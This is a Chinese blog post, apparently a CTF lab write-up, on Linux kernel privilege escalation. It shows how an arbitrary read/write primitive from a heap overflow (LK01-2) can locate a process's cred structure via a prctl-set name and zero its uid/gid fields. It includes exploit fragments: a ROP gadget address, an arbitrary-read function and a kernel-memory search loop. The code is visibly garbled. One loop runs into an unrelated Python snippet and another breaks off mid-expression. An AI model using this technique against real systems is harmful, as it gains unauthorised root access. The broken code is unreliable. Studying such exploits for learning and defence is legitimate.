通过篡改cred结构体实现提权利用

2023年 9月 16日 13.7k 0

前言

在之前的HeapOverflow文章中,作者还构造了任意地址读写的操作,使用了任意地址读写去进行提权,还挺有意思的,记录一下如何利用任意地址读写进行提权。

作者利用任意地址读写分别改写modprobe_path以及cred结构体去实现提权的操作,由于改写modprobe_path的方法之前已经研究过了,因此现在详细记录一下如何修改cred结构体完成提权操作。

cred结构体

cred 结构体通常出现在UNIX/Linux操作系统内核中,用于表示进程的凭据(credentials)。这些凭据包括有关进程身份的信息,如用户ID、组ID、权限等。结构体部分成员如下

struct cred {    atomic_t    usage;#ifdef CONFIG_DEBUG_CREDENTIALS    atomic_t    subscribers;    /* number of processes subscribed */    void        *put_addr;    unsigned    magic;#define CRED_MAGIC  0x43736564#define CRED_MAGIC_DEAD 0x44656144#endif    kuid_t      uid;        /* real UID of the task */    kgid_t      gid;        /* real GID of the task */    kuid_t      suid;       /* saved UID of the task */    kgid_t      sgid;       /* saved GID of the task */    kuid_t      euid;       /* effective UID of the task */    kgid_t      egid;       /* effective GID of the task */    kuid_t      fsuid;      /* UID for VFS ops */    kgid_t      fsgid;      /* GID for VFS ops */    ...} __randomize_layout;

而我们在ret2usr的操作中,通常都为执行commit_creds(prepare_kernel_cred(0)),实际就是为了获取root的凭证,因此如果我们能过任意地址写的操作修改cred的结构体也同样能够实现。

cred的结构体存在uidgid等标识符用于标识在系统中用于身份验证和权限控制,因此将这些标识符修改为0,即可将当前进程修改为root进程。

那么该如何获取cred结构体的地址,则是提权的关键。这里就需要凭借任意地址读的操作。在task_struct中存在着cred结构体的指针值。并且该指针值刚好存在于comm变量的上方,而该变量用于存储当前的进程名。

    /* Effective (overridable) subjective task credentials (COW): */    const struct cred __rcu     *cred;​#ifdef CONFIG_KEYS    /* Cached requested key. */    struct key          *cached_requested_key;#endif​    /*     * executable name, excluding path.     *     * - normally initialized setup_new_exec()     * - access it with [gs]et_task_comm()     * - lock it with task_lock()     */    char                comm[TASK_COMM_LEN];

因此我们可以通过将当前的进程名设置为在内核地址中几乎不会出现的值,则可以搜索内存值找到comm变量的位置,那么就可以获取cred结构体的指针值。

这里使用prctl函数设置进程名,prctl 函数是一个用于进程控制的系统调用,通常在Linux系统上可用。它允许你以不同的方式控制和查询进程的各种属性和行为。 prctl 函数的原型如下:

#include ​int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5);

prctl 函数是一个用于进程控制的系统调用,通常在Linux系统上可用。它允许你以不同的方式控制和查询进程的各种属性和行为。

prctl 函数的参数和行为取决于传递给它的 option 参数,以及可能的附加参数 arg2arg5。不同的 option 值对应于不同的控制操作。

以下是一些常见的 option 值和它们的用途:

  • PR_SET_NAME:设置进程的名称,可以用于在系统中标识进程。

  • PR_GET_NAME:获取进程的名称。

  • PR_SET_PDEATHSIG:设置父进程退出时发送给子进程的信号。

  • PR_GET_PDEATHSIG:获取父进程退出时发送给子进程的信号。

  • PR_SET_SECCOMP:启用或禁用Seccomp过滤器,用于限制进程对系统调用的访问。

  • PR_SET_KEEPCAPS:控制进程是否保留其有效用户ID的能力。

  • PR_GET_KEEPCAPS:获取进程是否保留其有效用户ID的能力。

  • PR_SET_NO_NEW_PRIVS:设置进程的No New Privileges标志,用于控制是否可以提升权限。

  • PR_GET_NO_NEW_PRIVS:获取进程的No New Privileges标志状态。

  • PR_SET_DUMPABLE:设置进程的核心转储状态。

  • PR_GET_DUMPABLE:获取进程的核心转储状态。

  • PR_SET_CHILD_SUBREAPER:设置进程是否作为子进程的子进程的领导者。

  • PR_GET_CHILD_SUBREAPER:获取进程是否作为子进程的子进程的领导者。

  • ptrctl(PR_SET_NAME, "XXXXXXXXX"); //设置进程名
    

    那么利用cred结构体的提权流程如下:

    • 具有任意地址读写的操作

    • 使用prctl函数将进程名设置为关键字

    • 使用任意地址在内核内存中搜索关键字,获取cred结构体的地址

    • 使用任意地址写修改cred结构体标识符的值,全修改为0

    LK01-2

    项目地址:github.com/h0pe-ay/Ker…

    题目的读写模块存在着堆溢出的漏洞,那么想要使用cred结构体进行提权,首先需要构造出任意地址读写的操作。

    ...    *(unsigned long *)&buf[0x418] = g_buf;    p[0xc] = 0xaaaaaa;    write(fd, buf, 0x500);    for (int i = 0; i < 100; i++)     ioctl(spray[i], 0x1234, 0x5678);...
    

    正如之前所说的,ioctl的参数是会传递给寄存器的,可以看到ioctl函数的参数对应RCXRSI寄存器,而第三个参数对应于RDX寄存器。并且距离g_buf地址的0xc的位置可以劫持程序的流程。

    image-20230910212533727

    那么在内核中搜索相关的gadget就可以构造出任意地址读写的操作。

    帮助网安学习,全套资料S信领取:

    ① 网安学习成长路径思维导图
    ② 60+网安经典常用工具包
    ③ 100+SRC漏洞分析报告
    ④ 150+网安攻防实战技术电子书
    ⑤ 最权威CISSP 认证考试指南+题库
    ⑥ 超1800页CTF实战技巧手册
    ⑦ 最新网安大厂面试题合集(含答案)
    ⑧ APP客户端安全检测指南(安卓+IOS)

    任意地址读

    这里需要注意的是ioctl函数的参数的字节长度是不同的,在执行ioctl(spray[i], 0x1122334455667788, 0x1122334455667788)时,我们同时往参数二与参数三写入0x1122334455667788的值,但是RCX寄存器值传入了4个字节,而RDX寄存器可以传入8个字节,因此我们需要将RDX寄存器作为地址,而RCX作为值,这是因为内核地址是占满八字节的。

    image-20230910214715084

    搜索的表达式为cat g | grep "mov .* [rdx];",由于需要rdx作为地址,因此直接搜索以rdx作为间接寻址的操作,括号需要进行转义字符。这里我们选取0xffffffff8118a285: mov eax, dword ptr [rdx]; ret;作为任意地址读的gadget,这是因为我们可以往rdx填入想要读取的地址并且eax通常用于存储返回值,因此直接读取返回值即可获得rdx指向的值。

    image-20230910215249576

    为了加速读取,作者这里采用缓存的形式,将能够控制的tty结构体的文件描述符存储起来,这样在下次读取时就不用重新遍历一遍。

    //0xffffffff8118a285: mov eax, dword ptr [rdx]; ret;int aar(unsigned long addr){      int result;    *(unsigned long *)&buf[0x418] = g_buf;    p[0xc] = kernel_base + op_aar;    write(fd, buf, 0x500);    if (cache_fd == -1)    {        for (int i = 0; i >> text = "h0pe-ay!">>> hex_string = text.encode('utf-8').hex()>>> print(hex_string)683070652d617921#从十六进制转化为16进制hex_string = "65703068"bytes_obj = bytes.fromhex(hex_string)print(bytes_obj)
    

    接下来就是搜索内存了,需要注意以下几点

    • 使用小端序进行比较

    • 需要从g_buf地址往前搜索

    • 由于每次只能泄露4字节数据,因此需要泄露两次

    在成功搜索到关键字之后,comm的上方四字节则是用于存储cred结构体的指针,因此需要通过任意地址去读取指针值,同样的由于只能读取四字节,因此需要读取两次,然后使用简单的移位组合起来。

        for (unsigned long addr = g_buf - 0x1000000;; addr += 0x8)    {    	if (aar(addr) == 0x65703068 && aar(addr+4) == 0x2179612d)    	{    		printf("[+] found!n");    		printf("addr:0x%lxn", addr);    		cred_addr = aar(addr - 4);    		cred_addr = (cred_addr

    相关文章

    服务器端口转发,带你了解服务器端口转发
    服务器开放端口,服务器开放端口的步骤
    产品推荐:7月受欢迎AI容器镜像来了,有Qwen系列大模型镜像
    如何使用 WinGet 下载 Microsoft Store 应用
    百度搜索:蓝易云 – 熟悉ubuntu apt-get命令详解
    百度搜索:蓝易云 – 域名解析成功但ping不通解决方案

    发布评论